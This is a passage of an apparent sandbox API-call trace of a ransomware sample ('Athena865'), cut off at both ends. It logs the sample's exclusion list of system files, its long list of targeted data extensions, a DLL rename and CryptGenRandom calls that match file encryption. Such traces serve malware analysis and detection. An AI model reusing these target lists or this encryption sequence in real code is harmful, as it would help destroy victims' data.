(lpString1="DLL", lpString2="pdm") returned -1 [0082.661] lstrlenW (lpString="pnz") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0082.661] lstrlenW (lpString="qry") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0082.661] lstrlenW (lpString="qvd") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0082.661] lstrlenW (lpString="rbf") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0082.661] lstrlenW (lpString="rctd") returned 4 [0082.661] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0082.661] lstrlenW (lpString="rod") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0082.661] lstrlenW (lpString="rodx") returned 4 [0082.661] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0082.661] lstrlenW (lpString="rpd") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0082.661] lstrlenW (lpString="rsd") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0082.661] lstrlenW (lpString="sas7bdat") returned 8 [0082.661] lstrcmpiW (lpString1="FLTR.DLL", lpString2="sas7bdat") returned -1 [0082.661] lstrlenW (lpString="sbf") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0082.661] lstrlenW (lpString="scx") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0082.661] lstrlenW (lpString="sdb") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0082.661] lstrlenW (lpString="sdc") returned 3 [0082.661] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0082.661] lstrlenW (lpString="sdf") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0082.662] lstrlenW (lpString="sis") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0082.662] lstrlenW (lpString="spq") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0082.662] lstrlenW (lpString="te") returned 2 [0082.662] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0082.662] lstrlenW (lpString="teacher") returned 7 [0082.662] lstrcmpiW (lpString1="LTR.DLL", lpString2="teacher") returned -1 [0082.662] lstrlenW (lpString="tmd") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0082.662] lstrlenW (lpString="tps") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0082.662] lstrlenW (lpString="trc") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0082.662] lstrlenW (lpString="trc") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0082.662] lstrlenW (lpString="trm") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0082.662] lstrlenW (lpString="udb") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0082.662] lstrlenW (lpString="udl") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0082.662] lstrlenW (lpString="usr") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0082.662] lstrlenW (lpString="v12") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0082.662] lstrlenW (lpString="vis") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0082.662] lstrlenW (lpString="vpd") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0082.662] lstrlenW (lpString="vvv") returned 3 [0082.662] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0082.663] lstrlenW (lpString="wdb") returned 3 [0082.663] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0082.663] lstrlenW (lpString="wmdb") returned 4 [0082.663] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0082.663] lstrlenW (lpString="wrk") returned 3 [0082.663] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0082.663] lstrlenW (lpString="xdb") returned 3 [0082.663] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0082.663] lstrlenW (lpString="xld") returned 3 [0082.663] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0082.663] lstrlenW (lpString="xmlff") returned 5 [0082.663] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0082.663] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DLL.Athena865") returned 65 [0082.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dll.athena865"), dwFlags=0x1) returned 1 [0082.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OUTLFLTR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\outlfltr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0082.664] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=702784) returned 1 [0082.664] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0082.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0082.665] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0082.665] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0082.665] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0082.665] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.666] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xabc40, lpName=0x0) returned 0x154 [0082.667] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xabc40) returned 0x2d50000 [0082.698] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0082.699] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0082.699] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0082.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0082.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0082.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0082.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0082.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0082.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0082.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0082.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0082.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0082.700] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0082.705] CloseHandle (hObject=0x154) returned 1 [0082.705] CloseHandle (hObject=0x17c) returned 1 [0082.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0082.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0082.706] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0082.709] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x599bb3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xaff88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLMIME.DLL", cAlternateFileName="")) returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2=".") returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="..") returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="windows") returned -1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="bootmgr") returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="temp") returned -1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="pagefile.sys") returned -1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="boot") returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="ids.txt") returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="ntuser.dat") returned 1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="perflogs") returned -1 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2="MSBuild") returned 1 [0082.709] lstrlenW (lpString="OUTLMIME.DLL") returned 12 [0082.709] lstrcpyW (in: lpString1=0x241e89e, lpString2="OUTLMIME.DLL" | out: lpString1="OUTLMIME.DLL") returned="OUTLMIME.DLL" [0082.709] lstrlenW (lpString="OUTLMIME.DLL") returned 12 [0082.709] lstrlenW (lpString="Athena865") returned 9 [0082.709] lstrcmpiW (lpString1="LMIME.DLL", lpString2="Athena865") returned 1 [0082.709] lstrlenW (lpString=".dll") returned 4 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2=".dll") returned 1 [0082.709] lstrlenW (lpString=".lnk") returned 4 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2=".lnk") returned 1 [0082.709] lstrlenW (lpString=".ini") returned 4 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2=".ini") returned 1 [0082.709] lstrlenW (lpString=".sys") returned 4 [0082.709] lstrcmpiW (lpString1="OUTLMIME.DLL", lpString2=".sys") returned 1 [0082.709] lstrlenW (lpString="OUTLMIME.DLL") returned 12 [0082.709] lstrlenW (lpString="bak") returned 3 [0082.709] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0082.709] lstrlenW (lpString="ba_") returned 3 [0082.709] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0082.709] lstrlenW (lpString="dbb") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0082.710] lstrlenW (lpString="vmdk") returned 4 [0082.710] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0082.710] lstrlenW (lpString="rar") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0082.710] lstrlenW (lpString="zip") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0082.710] lstrlenW (lpString="tgz") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0082.710] lstrlenW (lpString="vbox") returned 4 [0082.710] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0082.710] lstrlenW (lpString="vdi") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0082.710] lstrlenW (lpString="vhd") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0082.710] lstrlenW (lpString="vhdx") returned 4 [0082.710] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0082.710] lstrlenW (lpString="avhd") returned 4 [0082.710] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0082.710] lstrlenW (lpString="db") returned 2 [0082.710] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0082.710] lstrlenW (lpString="db2") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0082.710] lstrlenW (lpString="db3") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0082.710] lstrlenW (lpString="dbf") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0082.710] lstrlenW (lpString="mdf") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0082.710] lstrlenW (lpString="mdb") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0082.710] lstrlenW (lpString="sql") returned 3 [0082.710] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0082.711] lstrlenW (lpString="sqlite") returned 6 [0082.711] lstrcmpiW (lpString1="ME.DLL", lpString2="sqlite") returned -1 [0082.711] lstrlenW (lpString="sqlite3") returned 7 [0082.711] lstrcmpiW (lpString1="IME.DLL", lpString2="sqlite3") returned -1 [0082.711] lstrlenW (lpString="sqlitedb") returned 8 [0082.711] lstrcmpiW (lpString1="MIME.DLL", lpString2="sqlitedb") returned -1 [0082.711] lstrlenW (lpString="xml") returned 3 [0082.711] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0082.711] lstrlenW (lpString="$er") returned 3 [0082.711] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0082.711] lstrlenW (lpString="4dd") returned 3 [0082.711] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0082.711] lstrlenW (lpString="4dl") returned 3 [0082.711] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0082.711] lstrlenW (lpString="^^^") returned 3 [0082.711] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0082.711] lstrlenW (lpString="abs") returned 3 [0082.711] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0082.711] lstrlenW (lpString="abx") returned 3 [0082.711] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0082.711] lstrlenW (lpString="accdb") returned 5 [0082.711] lstrcmpiW (lpString1="E.DLL", lpString2="accdb") returned 1 [0082.711] lstrlenW (lpString="accdc") returned 5 [0082.711] lstrcmpiW (lpString1="E.DLL", lpString2="accdc") returned 1 [0082.711] lstrlenW (lpString="accde") returned 5 [0082.711] lstrcmpiW (lpString1="E.DLL", lpString2="accde") returned 1 [0082.711] lstrlenW (lpString="accdr") returned 5 [0082.711] lstrcmpiW (lpString1="E.DLL", lpString2="accdr") returned 1 [0082.711] lstrlenW (lpString="accdt") returned 5 [0082.711] lstrcmpiW (lpString1="E.DLL", lpString2="accdt") returned 1 [0082.711] lstrlenW (lpString="accdw") returned 5 [0082.711] lstrcmpiW (lpString1="E.DLL", lpString2="accdw") returned 1 [0082.712] lstrlenW (lpString="accft") returned 5 [0082.712] lstrcmpiW (lpString1="E.DLL", lpString2="accft") returned 1 [0082.712] lstrlenW (lpString="adb") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0082.712] lstrlenW (lpString="adb") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0082.712] lstrlenW (lpString="ade") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0082.712] lstrlenW (lpString="adf") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0082.712] lstrlenW (lpString="adn") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0082.712] lstrlenW (lpString="adp") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0082.712] lstrlenW (lpString="alf") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0082.712] lstrlenW (lpString="ask") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0082.712] lstrlenW (lpString="btr") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0082.712] lstrlenW (lpString="cat") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0082.712] lstrlenW (lpString="cdb") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0082.712] lstrlenW (lpString="ckp") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0082.712] lstrlenW (lpString="cma") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0082.712] lstrlenW (lpString="cpd") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0082.712] lstrlenW (lpString="dacpac") returned 6 [0082.712] lstrcmpiW (lpString1="ME.DLL", lpString2="dacpac") returned 1 [0082.712] lstrlenW (lpString="dad") returned 3 [0082.712] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0082.712] lstrlenW (lpString="dadiagrams") returned 10 [0082.713] lstrcmpiW (lpString1="TLMIME.DLL", lpString2="dadiagrams") returned 1 [0082.713] lstrlenW (lpString="daschema") returned 8 [0082.713] lstrcmpiW (lpString1="MIME.DLL", lpString2="daschema") returned 1 [0082.713] lstrlenW (lpString="db-journal") returned 10 [0082.713] lstrcmpiW (lpString1="TLMIME.DLL", lpString2="db-journal") returned 1 [0082.713] lstrlenW (lpString="db-shm") returned 6 [0082.713] lstrcmpiW (lpString1="ME.DLL", lpString2="db-shm") returned 1 [0082.713] lstrlenW (lpString="db-wal") returned 6 [0082.713] lstrcmpiW (lpString1="ME.DLL", lpString2="db-wal") returned 1 [0082.713] lstrlenW (lpString="dbc") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0082.713] lstrlenW (lpString="dbs") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0082.713] lstrlenW (lpString="dbt") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0082.713] lstrlenW (lpString="dbv") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0082.713] lstrlenW (lpString="dbx") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0082.713] lstrlenW (lpString="dcb") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0082.713] lstrlenW (lpString="dct") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0082.713] lstrlenW (lpString="dcx") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0082.713] lstrlenW (lpString="ddl") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0082.713] lstrlenW (lpString="dlis") returned 4 [0082.713] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0082.713] lstrlenW (lpString="dp1") returned 3 [0082.713] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0082.714] lstrlenW (lpString="dqy") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0082.714] lstrlenW (lpString="dsk") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0082.714] lstrlenW (lpString="dsn") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0082.714] lstrlenW (lpString="dtsx") returned 4 [0082.714] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0082.714] lstrlenW (lpString="dxl") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0082.714] lstrlenW (lpString="eco") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0082.714] lstrlenW (lpString="ecx") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0082.714] lstrlenW (lpString="edb") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0082.714] lstrlenW (lpString="epim") returned 4 [0082.714] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0082.714] lstrlenW (lpString="fcd") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0082.714] lstrlenW (lpString="fdb") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0082.714] lstrlenW (lpString="fic") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0082.714] lstrlenW (lpString="flexolibrary") returned 12 [0082.714] lstrlenW (lpString="fm5") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0082.714] lstrlenW (lpString="fmp") returned 3 [0082.714] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0082.714] lstrlenW (lpString="fmp12") returned 5 [0082.714] lstrcmpiW (lpString1="E.DLL", lpString2="fmp12") returned -1 [0082.715] lstrlenW (lpString="fmpsl") returned 5 [0082.715] lstrcmpiW (lpString1="E.DLL", lpString2="fmpsl") returned -1 [0082.715] lstrlenW (lpString="fol") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0082.715] lstrlenW (lpString="fp3") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0082.715] lstrlenW (lpString="fp4") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0082.715] lstrlenW (lpString="fp5") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0082.715] lstrlenW (lpString="fp7") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0082.715] lstrlenW (lpString="fpt") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0082.715] lstrlenW (lpString="frm") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0082.715] lstrlenW (lpString="gdb") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0082.715] lstrlenW (lpString="gdb") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0082.715] lstrlenW (lpString="grdb") returned 4 [0082.715] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0082.715] lstrlenW (lpString="gwi") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0082.715] lstrlenW (lpString="hdb") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0082.715] lstrlenW (lpString="his") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0082.715] lstrlenW (lpString="ib") returned 2 [0082.715] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0082.715] lstrlenW (lpString="idb") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0082.715] lstrlenW (lpString="ihx") returned 3 [0082.715] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0082.716] lstrlenW (lpString="itdb") returned 4 [0082.716] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0082.716] lstrlenW (lpString="itw") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0082.716] lstrlenW (lpString="jet") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0082.716] lstrlenW (lpString="jtx") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0082.716] lstrlenW (lpString="kdb") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0082.716] lstrlenW (lpString="kexi") returned 4 [0082.716] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0082.716] lstrlenW (lpString="kexic") returned 5 [0082.716] lstrcmpiW (lpString1="E.DLL", lpString2="kexic") returned -1 [0082.716] lstrlenW (lpString="kexis") returned 5 [0082.716] lstrcmpiW (lpString1="E.DLL", lpString2="kexis") returned -1 [0082.716] lstrlenW (lpString="lgc") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0082.716] lstrlenW (lpString="lwx") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0082.716] lstrlenW (lpString="maf") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0082.716] lstrlenW (lpString="maq") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0082.716] lstrlenW (lpString="mar") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0082.716] lstrlenW (lpString="marshal") returned 7 [0082.716] lstrcmpiW (lpString1="IME.DLL", lpString2="marshal") returned -1 [0082.716] lstrlenW (lpString="mas") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0082.716] lstrlenW (lpString="mav") returned 3 [0082.716] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0082.716] lstrlenW (lpString="maw") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0082.717] lstrlenW (lpString="mdbhtml") returned 7 [0082.717] lstrcmpiW (lpString1="IME.DLL", lpString2="mdbhtml") returned -1 [0082.717] lstrlenW (lpString="mdn") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0082.717] lstrlenW (lpString="mdt") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0082.717] lstrlenW (lpString="mfd") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0082.717] lstrlenW (lpString="mpd") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0082.717] lstrlenW (lpString="mrg") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0082.717] lstrlenW (lpString="mud") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0082.717] lstrlenW (lpString="mwb") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0082.717] lstrlenW (lpString="myd") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0082.717] lstrlenW (lpString="ndf") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0082.717] lstrlenW (lpString="nnt") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0082.717] lstrlenW (lpString="nrmlib") returned 6 [0082.717] lstrcmpiW (lpString1="ME.DLL", lpString2="nrmlib") returned -1 [0082.717] lstrlenW (lpString="ns2") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0082.717] lstrlenW (lpString="ns3") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0082.717] lstrlenW (lpString="ns4") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0082.717] lstrlenW (lpString="nsf") returned 3 [0082.717] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0082.718] lstrlenW (lpString="nv") returned 2 [0082.718] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0082.718] lstrlenW (lpString="nv2") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0082.718] lstrlenW (lpString="nwdb") returned 4 [0082.718] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0082.718] lstrlenW (lpString="nyf") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0082.718] lstrlenW (lpString="odb") returned 3 [0082.718] lstrcmpiW (lpString1="DLL", 